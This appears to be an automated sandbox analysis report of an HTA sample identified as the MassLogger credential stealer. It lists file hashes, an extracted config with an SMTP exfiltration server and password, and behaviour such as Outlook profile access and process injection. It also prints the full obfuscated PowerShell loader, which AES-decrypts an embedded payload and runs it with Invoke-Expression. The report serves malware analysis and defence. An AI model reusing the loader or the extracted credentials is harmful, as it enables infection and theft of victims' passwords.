Analysis
- max time kernel
148s - max time network
123s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
23/06/2026, 12:33
Static task
static1
Behavioral task
behavioral1
Sample
SIPARIS N°835.hta
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
SIPARIS N°835.hta
Resource
win11ltsc2024-20260618-en
General
- Target SIPARIS N°835.hta
- Size 34KB
- Sample260623-prezescy2p
- SHA256 5ed8a508c7bc69b2a117f713ed2616a7c93fa650578b2a08eaed8be2fd282a72
- MD5 e4898a38a1f8ae84dcc9fd4366a219b7
- SHA1 bcc795bc265c709ebba762f4da946fbcc5301180
- SHA512 c5734610d876a514800b78d724bddb651442e0fc52c91eb9582c9e49780e8f34f82d39b6f21fd65ba3fa26da142bcb4d0dcdc94a455e4c2fc56ccf7aba7ba44f
- SSDEEP 96:VTpsadnP6VPlTGvXgMq/A2gzL2gtEIkYEHtYicoW9KeYULJNp8ofcYMsMzezWPOW:FpgQKFUlNp8okYMsMzeMf
- TLSH T125F24134C466D0E4FFD23E198B8D42AFAD1A626B5A860D23F3DC4EE01B51419D447FE9
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
2025-05-04
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host_password
5=Ln#$?nW-5;a%Pb
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host_port
587
- host_receiver
- host_sender
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host_server
mail.miniorangeman.com
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ssl_slate
True
Signatures
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5252 6044 powershell.exe 89 - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 5252 powershell.exe 3 5252 powershell.exe - Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Caspol.exe Key opened \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Caspol.exe Key opened \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Caspol.exe -
pid Process 5252 powershell.exe - Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 checkip.dyndns.org 1 reallyfreegeoip.org 5 reallyfreegeoip.org - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 5252 set thread context of 4576 5252 powershell.exe 95 - System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Caspol.exe - Suspicious behavior: EnumeratesProcesses 15 IoCs
pid Process 5252 powershell.exe 5252 powershell.exe 5252 powershell.exe 5252 powershell.exe 5252 powershell.exe 5252 powershell.exe 5252 powershell.exe 5252 powershell.exe 5252 powershell.exe 5252 powershell.exe 5252 powershell.exe 5252 powershell.exe 5252 powershell.exe 5252 powershell.exe 4576 Caspol.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 5252 powershell.exe Token: SeDebugPrivilege 4576 Caspol.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 5252 wrote to memory of 3500 5252 powershell.exe 92 PID 5252 wrote to memory of 764 5252 powershell.exe 93 PID 5252 wrote to memory of 2196 5252 powershell.exe 94 PID 5252 wrote to memory of 4576 5252 powershell.exe 95 PID 5252 wrote to memory of 4576 5252 powershell.exe 95 PID 5252 wrote to memory of 4576 5252 powershell.exe 95 PID 5252 wrote to memory of 4576 5252 powershell.exe 95 PID 5252 wrote to memory of 4576 5252 powershell.exe 95 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Caspol.exe - outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4274393721-1801116158-3678143273-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Caspol.exe
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\SIPARIS N°835.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
PID:6192
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "try { $Savoyard = [System.Text.Encoding]::UTF8.GetBytes('6DZz4H02dcNPCr7R'); if ($Savoyard.Length -lt 32) { $Savoyard = $Savoyard + (0..(31 - $Savoyard.Length)) }; $sarmas = [Convert]::FromBase64String('8R0ImozAtS8OW/emmD00rWVSAXU+ftYNiMwZK5xczr7pKj1eYcl7mH728j3giNP8ycVdjlV6Y1y2GH585SQZhRQGhKZedSiRnCrss01UGwhxMRt/NkRsOjdCQMf1BSA2PYFskYtqZ6R3Ymfe/9mGfLvtseZ0/oC0krT7w+sH/nYrBStaDEjv7dSMt0k+1vBeEjcPyD2G/a3ONnIws2R7gaWpf+kbhNnjhIC/skSIJHbZE7D2VwigoSiiiUT1ejGqZRreqDW87lw+rocL6diXpCZ3+w6e38aYfJYGWxYYa9giLScDkrleWADWs9LmPWAiwiTTJQOEYDqrSZsnhS+2aZa8v92vsLvZWMTpB1+OvH9zms1/3aoWVrJ9aMnqouBcbAdHwD/tLZM/gAaAhYojk+MG1xMYC3fVAXlDj/sBqMMiXZAp2TgQdZGnel/S4Db8hjOEMGzzYpEntgGsyKhYsZnX/V1Q16joM7QH/WuCZ8RMmHQjuTAdbXJ6pzG/owgWhbz6zQOxTtWFO1NQsWbPjhwyPFp59aoTcQd3OdANbUBARBgckh0htvyQbX5iJHqpkaarRgKoYGo3qHGhWdTMmqhMaPJIwyxXxOPu/08Oiqtrllm5fKg+VRAG/MsLmpm4eMwoOW8N2+XFy0Sf2PscsvshN2W2ibcLqlKlQS26zhigcdyuv+ea2Hq9/2jFQqrcojz/2btSZi8mp0sCeMfQbuWwxD7vL+LZ5gUDT58Ux7NSNCSbvTV80mH67KW8bmJy3vW06cpFeq8gGzq7iqJBwUvfxSJF3zZlbyjlbacWAKxgs9J3Wga/qoHUN45md884JQtw125u7y60vZQQwzdBPdg4ikw/RkoHJkxguyvj4M00CF8pND2AnNfa3W2QRj5r3u1UeHgXAHndETWGjw4T/JPbtL1a0C2HF5RPDqIwjjB5FCqdf4GuIwczMGAlDREKU8Ac2nnD721tXhZH00KzSMsdjgqswkgy6Le/a0apoURx2xSIWBrvtOV/YYzTScxY1alVi6TMOUxCmj2ilKf0oPyWCuwSHPxUMBPsQcMsdu5VDN0H6ZyU0MbdMCcDf0klgEMbQ6MMFUh3aKupzf54wUbkZqSZTwtKuTv2+4cSjXf3nJCv093HgjO5eTB7YJkimX57i/HYSrH3awimreonKaCvzklJuKhty8CQIVE8XGGO3vtit0gvNEoU0dGUaOONZarMcNeBshPKTl7p2rad96sHAlFxZmzjOxWRbH4s/TDPRlbdxRrVFO8GCF2ZVyhJpcXs/B6oJwrfYyNcEwf6BsciGImiOoOf2CZJzaDXZgl6gh+J4+lXnwvjS7x36jtwceLzx0dkcdfD4F7j2hX8GzmuQjy5HORSYoAeQQ344tQxcF12V00aQN+mJKUp3ehcsbwF9Rpj+ctE+c639IDCZTMokVOLkOW9BNwb1VAFLjFu1e+HMXy+RHtd0fxQkvRiUvuack71yVBW1wKQV4WhLIpMcbKtvaTD79j22Cem50lgzfbiX5OkGP8+5JC/K17nr8Xxdd/KkeQc3jX/TWZl3U+X6qu1uZFfEAtxRVjrg3QlM5lfwzAm8uE5PrRI08lxB63liCEkzamPeXDxiXjuAARPZOR1H7d049Ru00l/q6bd+t2iUDiDpowvur55UlTGDU073nZhWDfPDB6qBAwDX8NEw1j3IQVuy3DJ2PfA8G1y2wDuZn7LmqD8trwUXAn5eW5KBtxGiQ8iOqY+lbS1KQPMUqU9g1nmUFb2DDh8ftE='); $misprized = $sarmas[0..15]; $picapica = $sarmas[16..($sarmas.Length-1)]; $glama = [System.Security.Cryptography.Aes]::Create(); $glama.Key = $Savoyard; $glama.IV = $misprized; $vandalistic = $glama.CreateDecryptor(); $pseudology = $vandalistic.TransformFinalBlock($picapica, 0, $picapica.Length); $carburetors = [System.Text.Encoding]::UTF8.GetString($pseudology); Invoke-Expression $carburetors; } catch {}"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5252 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵PID:3500
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵PID:764
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵PID:2196
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4576
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cjfda45q.y3t.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH